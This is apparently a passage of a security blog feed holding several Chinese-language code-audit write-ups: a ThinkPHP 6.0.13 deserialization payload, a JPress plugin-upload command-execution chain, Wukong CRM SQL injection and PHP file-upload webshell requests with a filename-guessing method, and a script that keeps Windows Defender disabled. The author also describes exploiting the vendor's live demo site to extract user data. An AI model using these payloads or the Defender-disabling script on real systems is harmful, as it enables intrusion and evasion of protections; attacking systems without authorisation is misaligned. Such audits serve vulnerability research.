class="line">O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A2%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A17%3A%22think%5Clog%5CChannel%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A23%3A%22think%5Clog%5Cdriver%5CSocket%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A4%3A%7Bs%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A16%3A%22force_client_ids%22%3Bi%3A1%3Bs%3A16%3A%22allow_client_ids%22%3Bs%3A0%3A%22%22%3Bs%3A11%3A%22format_head%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A9%3A%22think%5CApp%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A13%3A%22think%5CRequest%22%3BO%3A13%3A%22think%5CRequest%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00clientArg%22%3Ba%3A1%3A%7Bs%3A5%3A%22tabid%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A0%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3B%7D</span><br></pre></td></tr></table></figure><p>传入payload,如下图</p><p><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021170119781.png" alt="image-20221021170119781"></p><p>根据poc可以看到漏洞代码出现在</p><p><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021161431399.png" alt="image-20221021161431399"></p><p>这种框架向上回溯太麻烦了,采用poc+动态debug进行分析,基于之前的thinkphp框架复习,我们在vuln方法中加入漏洞代码,并在反序列化处打上断点,如下图<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021170414934.png" alt="image-20221021170414934"></p><p>此处是反序列化入口__destruct(),如下图<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221022110935817.png" alt="image-20221022110935817"></p><p>一步一步跟进,跟进到下图所示的语句,可以看到此时autosave值为false,进入save()<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021163201653.png" alt="image-20221021163201653"></p><p>继续跟踪,最终跟到触达代码执行的地方<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021174538053.png" alt="image-20221021174538053"></p>]]></content>
<summary type="html"><h1 id="0x01-ThinkPHP版本梳理"><a href="#0x01-ThinkPHP版本梳理" class="headerlink" title="0x01 ThinkPHP版本梳理"></a>0x01 ThinkPHP版本梳理</h1><p>截止到2022年10</summary>
<category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>JPress审计</title>
<link href="http://example.com/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/"/>
<id>http://example.com/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/</id>
<published>2024-04-22T11:28:19.000Z</published>
<updated>2024-04-22T11:37:33.002Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-目标熟悉"><a href="#0x01-目标熟悉" class="headerlink" title="0x01 目标熟悉"></a>0x01 目标熟悉</h1><p>JPress 是一个使用 Java 开发的、开源免费的建站神器,灵感来源于 WordPress,目前已经有超过 10w+ 的网站使用 JPress 搭建,其中包括多个政府机构,200+上市公司,中科院、红十字会等。</p><p>JPress基于JBoot而不是SpringBoot</p><h1 id="0x02-环境搭建"><a href="#0x02-环境搭建" class="headerlink" title="0x02 环境搭建"></a>0x02 环境搭建</h1><p>依照官方文档:<a href="http://doc.jpress.cn/manual/start.html">http://doc.jpress.cn/manual/start.html</a></p><p>下载项目并解压到指定目录下</p><p>配置好java环境,可参考:<a href="http://doc.jpress.cn/manual/jdk_config.html">http://doc.jpress.cn/manual/jdk_config.html</a></p><p>配置好maven环境,可参考:<a href="http://doc.jpress.cn/manual/maven_config.html">http://doc.jpress.cn/manual/maven_config.html</a></p><p>这里有一个小问题,maven切换到阿里云的源后,执行mvn help:system会报错,暂时使用官方源</p><p>配置好IDEA开发环境,可参考:<a href="http://doc.jpress.cn/manual/idea_environment_config.html">http://doc.jpress.cn/manual/idea_environment_config.html</a></p><p>maven不了解的,可参考:<a href="https://www.cnblogs.com/lenve/p/12047793.html">https://www.cnblogs.com/lenve/p/12047793.html</a></p><p>可通过如下命令启动</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cd jpress</span><br><span class="line">mvn clean package</span><br><span class="line">cd starter/target/starter-4.0</span><br><span class="line">./jpress.sh start</span><br></pre></td></tr></table></figure><p>也可通过IDEA启动,配置好IDEA开发环境后,依照文档定位到文件starter/src/main/java/io.jpress/Starter,点击启动方法main,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221226153949475.png" alt="image-20221226153949475"></p><p>成功启动,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221226154120204.png" alt="image-20221226154120204"></p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221220104411543.png" alt="image-20221220104411543"></p><p>访问127.0.0.1:8080进入安装界面,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221220104649641.png" alt="image-20221220104649641"></p><p>一路下一步,依照提示操作即可,成功搭建后,使用内网ip访问,前台界面如下</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221226154312930.png" alt="image-20221226154312930"></p><p>后台界面如下</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221226154626800.png" alt="image-20221226154626800"></p><p>在 starter/src/main/resources/undertow.txt 中可以修改端口</p><h1 id="0x03-代码审计"><a href="#0x03-代码审计" class="headerlink" title="0x03 代码审计"></a>0x03 代码审计</h1><h2 id="01-通杀最新版的后台插件上传getshell"><a href="#01-通杀最新版的后台插件上传getshell" class="headerlink" title="01 通杀最新版的后台插件上传getshell"></a>01 通杀最新版的后台插件上传getshell</h2><p>登录后台后,查看后台功能,在插件->安装可以看到能安装插件,想到将恶意代码放入插件中,然后上传插件getshell,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227141058166.png" alt="image-20221227141058166"></p><p>开始动手,首先查看项目目录,能大概猜到,插件目录是jpress-addons,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227154325574.png" alt="image-20221227154325574"></p><p>展开项目,我们修改jpress-addon-helloworld子项目,可以看到HelloWorldAddon这个文件负责:安装、卸载、启动、停止时触发的动作,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227154904932.png" alt="image-20221227154904932"></p><p>HelloWorldAddonController这个文件负责访问某些路径时触发的动作,我们选择在方法adminmenutest()中添加如下恶意代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">try {</span><br><span class="line"> Runtime.getRuntime().exec("calc");</span><br><span class="line"> } catch (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>添加后如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227155336903.png" alt="image-20221227155336903"></p><p>然后我们将项目jpress-addon-helloworld打包成jar包,我这边进入jpress-addon-helloworld子目录后执行mvn clean package会打包失败,需要进入根目录执行mvn clean package,执行后如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227155830016.png" alt="image-20221227155830016"></p><p>然后在jpress-addon-helloworld的target目录下找到jpress-addon-helloworld-4.0.jar,登录后台,在插件处上传jpress-addon-helloworld-4.0.jar,然后点击插件测试,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227160221062.png" alt="image-20221227160221062"></p><p>可以看到成功弹出计算器</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227160017106.png" alt="image-20221227160017106"></p><p>同样的方式,我们测试下,在最新版(截止到2022/12/27,最新版为5.0.5)中,此方法是否可以getshell,同样的过程搭建一下jpress最新版,搭建好后进入后台,如下图</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227170402762.png" alt="image-20221227170402762"></p><p>上传刚才打包好的jar包,点击插件测试,看到可成功执行命令,弹出计算器</p><p><img src="/2024/04/22/JPress%E5%AE%A1%E8%AE%A1/image-20221227170736878.png" alt="image-20221227170736878"></p>]]></content>
<summary type="html"><h1 id="0x01-目标熟悉"><a href="#0x01-目标熟悉" class="headerlink" title="0x01 目标熟悉"></a>0x01 目标熟悉</h1><p>JPress 是一个使用 Java 开发的、开源免费的建站神器,灵感来源于 Word</summary>
<category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>悟空CRM审计</title>
<link href="http://example.com/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/"/>
<id>http://example.com/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/</id>
<published>2024-04-19T01:17:45.000Z</published>
<updated>2024-04-19T01:38:33.523Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-目标熟悉"><a href="#0x01-目标熟悉" class="headerlink" title="0x01 目标熟悉"></a>0x01 目标熟悉</h1><p>CRM:客户关系管理系统</p><p>官方地址:<a href="https://www.5kcrm.com/">https://www.5kcrm.com/</a></p><p>源码下载地址:<a href="https://gitee.com/wukongcrm">https://gitee.com/wukongcrm</a></p><p>可以看到共有5类,分别是:基于Spring Cloud Alibaba微服务框架、基于jfinal框架、基于TP5.0框架,以及php和java的前端</p><p>这里我们审计的是基于TP5.0框架的版本:<a href="https://gitee.com/wukongcrm/crm_php">https://gitee.com/wukongcrm/crm_php</a></p><h1 id="0x02-环境搭建"><a href="#0x02-环境搭建" class="headerlink" title="0x02 环境搭建"></a>0x02 环境搭建</h1><p>参考官方文档:<a href="https://gitee.com/wukongcrm/crm_php">https://gitee.com/wukongcrm/crm_php</a></p><p>老样子,环境使用windows + phpstudy,将下载后的项目放到phpstudy对应的web目录下,一路下一步即可</p><p>有一个地方需要注意:</p><p>1、悟空crm需要用到redis,所以php需要配置redis扩展,以及需要安装redis服务端,可参考文章:<a href="http://www.wjhsh.net/lyzaidxh-p-11458909.html">http://www.wjhsh.net/lyzaidxh-p-11458909.html</a></p><p>安装时发现悟空crm要求php最低版本7.0,之前用的5.6,又要重新配置一下</p><p>安装时会要求输入序列号,序列号在官方文档中给出了,其他信息如下:</p><p>数据库名:5kcrm,数据库密码:root,管理员账号:13788889999,管理员密码:admin888</p><p>安装好后,如下图</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216000144145.png" alt="image-20221216000144145"></p><p>但是在登录的时候,会提示“网络错误 请检查你的网络”</p><p>各种谷歌搜索,尝试过导入public/sql/5kcrm.sql,但是admin_user中没有用户,依旧登录不上</p><p>利用后台注入,对官网的demo站进行sql注入,时间盲注有点慢,耐心等待后,拿到用户表中的数据,最后,依照5kcrm.sql中的表结构,挨个字段构造数据,再次尝试登录发现可成功登录</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216164651698.png" alt="image-20221216164651698"></p><h1 id="0x03-代码审计"><a href="#0x03-代码审计" class="headerlink" title="0x03 代码审计"></a>0x03 代码审计</h1><h2 id="01-后台注入"><a href="#01-后台注入" class="headerlink" title="01 后台注入"></a>01 后台注入</h2><p>时间有限,先不去分析路由、鉴权,后台挂着xray,访问各个接口,经过大量测试,在如下接口发现一处sql注入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">POST /index.php/work/task/dateList HTTP/1.1</span><br><span class="line">Host: demo11.5kcrm.net</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Sleipnir6/6.4.4; SleipnirSiteUpdates/6.4.4)</span><br><span class="line">Accept: application/json, text/plain, */*</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Content-Type: application/json;charset=UTF-8</span><br><span class="line">authKey: 22d8da8ce545a6e19a321f8a716bfda6</span><br><span class="line">sessionId: b7i69u3nlkf6835up2lmbidndb</span><br><span class="line">Content-Length: 37</span><br><span class="line">Origin: http://demo11.5kcrm.net</span><br><span class="line">Connection: close</span><br><span class="line">Referer: http://demo11.5kcrm.net/</span><br><span class="line">Cookie: PHPSESSID=b7i69u3nlkf6835up2lmbidndb</span><br><span class="line"></span><br><span class="line">{"start_time":"123","stop_time":"12"}</span><br></pre></td></tr></table></figure><p>sqlmap验证</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3.exe .\sqlmapproject-sqlmap-1.6.10\sqlmap.py -r 1.txt</span><br></pre></td></tr></table></figure><p>有漏洞,如下图</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216124452098.png" alt="image-20221216124452098"></p><p>可爆出数据,如下图</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216153510522.png" alt="image-20221216153510522"></p><p>代码中的加密方式</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * 用户密码加密方法</span><br><span class="line"> * @param string $str 加密的字符串</span><br><span class="line"> * @param [type] $auth_key 加密符</span><br><span class="line"> * @param [string] $username 用户名</span><br><span class="line"> * @return string 加密后长度为32的字符串</span><br><span class="line"> */</span><br><span class="line">function user_md5($str, $auth_key = '', $username = '')</span><br><span class="line">{</span><br><span class="line"> return '' === $str ? '' : md5(sha1($str) . md5($str . $auth_key));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if (user_md5($param['new_pwd'], $userInfo['salt'], $userInfo['username']) == $userInfo['password']) {</span><br><span class="line"> $this->error = '密码没改变';</span><br><span class="line"> return false;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>假如帐号:18888888888密码:123456a</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">echo md5(sha1("123456a") . md5("123456a" . "48be"));</span><br><span class="line"></span><br><span class="line">echo "<br>";</span><br><span class="line">if ("860a39355e1e4d1818144ac13bfc964f" == "860a39355e1e4d1818144ac13bfc964f") {</span><br><span class="line"> echo "yes, it's same";</span><br><span class="line">}</span><br><span class="line">else {</span><br><span class="line"> echo "no, it's not same";</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>测试后发现和爆出来的hash一样</p><p>但是cmd5中没有针对此方式的解密,现在的利用思路只能是本地跑或者用来update数据库中password字段的值</p><h2 id="02-后台上传"><a href="#02-后台上传" class="headerlink" title="02 后台上传"></a>02 后台上传</h2><p>常规的测一下头像上传功能,修改后缀和内容,不出意外返回500,意外的是文件传上去了,不过名字是随机的</p><p>如下数据包是管理员头像上传处抓的数据包,方便起见,可替换authKey和sessionId后,直接发送如下数据包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">POST /crm_php-master/index.php/admin/users/updateImg HTTP/1.1</span><br><span class="line">Host: 10.211.55.3</span><br><span class="line">User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Sleipnir6/6.4.4; SleipnirSiteUpdates/6.4.4)</span><br><span class="line">Accept: application/json, text/plain, */*</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">authKey: 59243dc2a1b709a047ee85c3106f38b0</span><br><span class="line">sessionId: 0snel6vf6hlt7nl8as1lar6q31</span><br><span class="line">Content-Type: multipart/form-data; boundary=---------------------------25781395022072740844187142620</span><br><span class="line">Content-Length: 341</span><br><span class="line">Origin: http://10.211.55.3</span><br><span class="line">Connection: close</span><br><span class="line">Referer: http://10.211.55.3/crm_php-master/index.html</span><br><span class="line">Cookie: PHPSESSID=0snel6vf6hlt7nl8as1lar6q31</span><br><span class="line"></span><br><span class="line">-----------------------------25781395022072740844187142620</span><br><span class="line">Content-Disposition: form-data; name="id"</span><br><span class="line"></span><br><span class="line">1</span><br><span class="line">-----------------------------25781395022072740844187142620</span><br><span class="line">Content-Disposition: form-data; name="file"; filename="1.php"</span><br><span class="line">Content-Type: image/png</span><br><span class="line"></span><br><span class="line"><?php phpinfo();?></span><br><span class="line">-----------------------------25781395022072740844187142620--</span><br></pre></td></tr></table></figure><p>访问后如下图</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216220559395.png" alt="image-20221216220559395"></p><p>现在的问题是如何获取文件名,查看相关代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$savename = date('Ymd') . DS . md5(microtime(true));</span><br><span class="line"></span><br><span class="line">20221216DS77f39cc096d7e05ab87e1171aa5ae4c0</span><br></pre></td></tr></table></figure><p>可以知道文件名是如下代码生成的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">md5(microtime(true))</span><br></pre></td></tr></table></figure><p>其中</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">microtime(true)</span><br><span class="line"></span><br><span class="line">1671199810.2335</span><br></pre></td></tr></table></figure><p>也就是说每一秒有1万种可能,我们自己构造时间戳的话</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">echo strtotime("2022-12-16 17:47:20");</span><br><span class="line">echo "<br>";</span><br><span class="line">echo strtotime("2022-12-16 17:47:22");</span><br><span class="line"></span><br><span class="line">1671184040</span><br><span class="line">1671184042</span><br></pre></td></tr></table></figure><p>我们可以这样,将数据包发送到repeater中,看着时间,点击发送,如下图</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216222156797.png" alt="image-20221216222156797"></p><p>比如我们在2022-12-16 22:22:30点击发送,对应的时间戳是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">echo strtotime("2022-12-16 22:22:30");</span><br><span class="line"></span><br><span class="line">1671200550</span><br></pre></td></tr></table></figure><p>编写python脚本,构造小数点后4位,实际测试中发现,几乎不会有.0xxx系列的时间戳,所以可以去掉.0xxx,这样就减少1000个,可以看到如下这个文件名就是我们要找的webshell</p><p><img src="/2024/04/19/%E6%82%9F%E7%A9%BACRM%E5%AE%A1%E8%AE%A1/image-20221216223646577.png" alt="image-20221216223646577"></p>]]></content>
<summary type="html"><h1 id="0x01-目标熟悉"><a href="#0x01-目标熟悉" class="headerlink" title="0x01 目标熟悉"></a>0x01 目标熟悉</h1><p>CRM:客户关系管理系统</p>
<p>官方地址:<a href="https://</summary>
<category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>解决Windows Defender关闭后又自动打开的困扰(隐蔽的关闭杀软方式?)</title>
<link href="http://example.com/2024/02/03/%E8%A7%A3%E5%86%B3Windows-Defender%E5%85%B3%E9%97%AD%E5%90%8E%E5%8F%88%E8%87%AA%E5%8A%A8%E6%89%93%E5%BC%80%E7%9A%84%E5%9B%B0%E6%89%B0/"/>
<id>http://example.com/2024/02/03/%E8%A7%A3%E5%86%B3Windows-Defender%E5%85%B3%E9%97%AD%E5%90%8E%E5%8F%88%E8%87%AA%E5%8A%A8%E6%89%93%E5%BC%80%E7%9A%84%E5%9B%B0%E6%89%B0/</id>
<published>2024-02-03T02:56:48.000Z</published>
<updated>2024-10-06T01:40:37.900Z</updated>
<content type="html"><![CDATA[<p>有这样一个需求,我有一台Win10系统用作服务器跑程序,但不想装杀软,可是Win10系统不装杀软的话就会自动开启Defender,之前的笔记中记载,执行如下2步可关闭Windows Defender</p><span id="more"></span><p>01 关闭篡改防护</p><p>02 修改注册表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender</span><br><span class="line">New->DWORD (32-bit) Value</span><br><span class="line">DisableAntiSpyware</span><br><span class="line">1(十进制下)</span><br></pre></td></tr></table></figure><p>结果在使用中发现,过一会Windows又会将注册表改回去,这让我想到,是不是可以写一个程序来持续监测注册表,当发现Windows将它改回来后再改回去</p><h1 id="注册表操作学习"><a href="#注册表操作学习" class="headerlink" title="注册表操作学习"></a>注册表操作学习</h1><p>这里选择我比较熟悉的语言python,python操作注册表官方推荐的库是winreg,官方文档在这里:<a href="https://docs.python.org/3.8/library/winreg.html#module-winreg">https://docs.python.org/3.8/library/winreg.html#module-winreg</a>,具体函数用法官方文档写的很详细,我就不赘述了,这里主要记录下学习这些函数过程中遇到的坑</p><p>模块winreg中共包含18个操作注册表的函数,分别如下:<br>关闭键、连接注册表、创建键、删除键、删除值、枚举键、枚举值、扩展环境字符串、刷新键、载入键、打开键、查询键信息、查询值、保存键、设置值、关闭反射键、开启反射键、查询反射键</p><h2 id="注册表中的一些概念"><a href="#注册表中的一些概念" class="headerlink" title="注册表中的一些概念"></a>注册表中的一些概念</h2><p>需要先明确一下注册表中的一些概念,否则后面看文档时会混乱搞不清楚</p><p>注册表左边的通常称为键、子健 或 项、子项<br>注册表右边的通常称为值,包含:值名称、值类型、值数据<br>如下图</p><p><img src="/2024/02/03/%E8%A7%A3%E5%86%B3Windows-Defender%E5%85%B3%E9%97%AD%E5%90%8E%E5%8F%88%E8%87%AA%E5%8A%A8%E6%89%93%E5%BC%80%E7%9A%84%E5%9B%B0%E6%89%B0/01.png" alt="image"></p><h2 id="OpenKey、OpenKeyEx(打开键)"><a href="#OpenKey、OpenKeyEx(打开键)" class="headerlink" title="OpenKey、OpenKeyEx(打开键)"></a>OpenKey、OpenKeyEx(打开键)</h2><p>其中OpenKeyEx是OpenKey的扩展版本,也就是加强版本</p><p>函数原型 -> winreg.OpenKeyEx(key, sub_key, reserved=0, access=KEY_READ)</p><p>官方文档中有1个坑</p><p>第4个参数的介绍是:”access is an integer that specifies an access mask that describes the desired security access for the key. Default is KEY_READ. See Access Rights for other allowed values.”,没用过这个函数的人,看到这个介绍,会觉得值应该是整数,尝试后发现不是,然后尝试 KEY_READ 发现也不是,最后经过尝试发现是winreg.KEY_ALL_ACCESS</p><p>另外需要注意,第4个参数如果设置不正确,后面写入值的时候,会报错提示权限问题,其中winreg.KEY_ALL_ACCESS是权限最大的,直接设置为它就可以</p><h2 id="SetValue、SetValueEx(设置值)"><a href="#SetValue、SetValueEx(设置值)" class="headerlink" title="SetValue、SetValueEx(设置值)"></a>SetValue、SetValueEx(设置值)</h2><p>其中SetValueEx是SetValue的扩展版本,也就是加强版本</p><p>函数原型 -> winreg.SetValueEx(key, value_name, reserved, type, value)</p><p>官方文档有2个坑</p><p>第1个坑是第2个参数,介绍是:”alue_name is a string that names the subkey with which the value is associated.”,翻译过来这个参数应该是子健的名字,但其实它应该是值名称,对应上面注册表的概念</p><p>第2个坑是第4个参数,介绍是:”type is an integer that specifies the type of the data. See Value Types for the available types.”,跟OpenKeyEx中的坑类似,值不是整数,是winreg.REG_DWORD</p><p>另外,关于第4个参数,一开始我没发现怎么用的时候,用到了一个小技巧,先手动设置注册表的值,然后使用winreg.QueryValueEx读取对应的值,可获取值数据和值类型</p><h2 id="UAC问题"><a href="#UAC问题" class="headerlink" title="UAC问题"></a>UAC问题</h2><p>操作注册表需要过UAC,python中可通过库elevate请求获取UAC权限,用法很简单如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">from elevate import elevate</span><br><span class="line"></span><br><span class="line">elevate()</span><br></pre></td></tr></table></figure><p>elevate()之后的代码都是过UAC后的权限</p><h1 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">import winreg</span><br><span class="line">from elevate import elevate</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">elevate()</span><br><span class="line">while True:</span><br><span class="line"> key = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows Defender", 0, winreg.KEY_ALL_ACCESS)</span><br><span class="line"> try:</span><br><span class="line"> value, type = winreg.QueryValueEx(key, "DisableAntiSpyware")</span><br><span class="line"> except:</span><br><span class="line"> print("注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender 不包含值 DisableAntiSpyware,正在添加...")</span><br><span class="line"> winreg.SetValueEx(key, "DisableAntiSpyware", 0, winreg.REG_DWORD, 1)</span><br><span class="line"> print("成功添加值 DisableAntiSpyware")</span><br><span class="line"> else:</span><br><span class="line"> print("注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender 包含值 DisableAntiSpyware,且值数据为{},值类型为{}".format(value, str(type)))</span><br><span class="line"> time.sleep(3)</span><br></pre></td></tr></table></figure><p>使用pyinstaller将上述源码打包成exe后,拷贝到目标服务器上,执行后过一会可看到Defender已经关闭,如下图</p><p><img 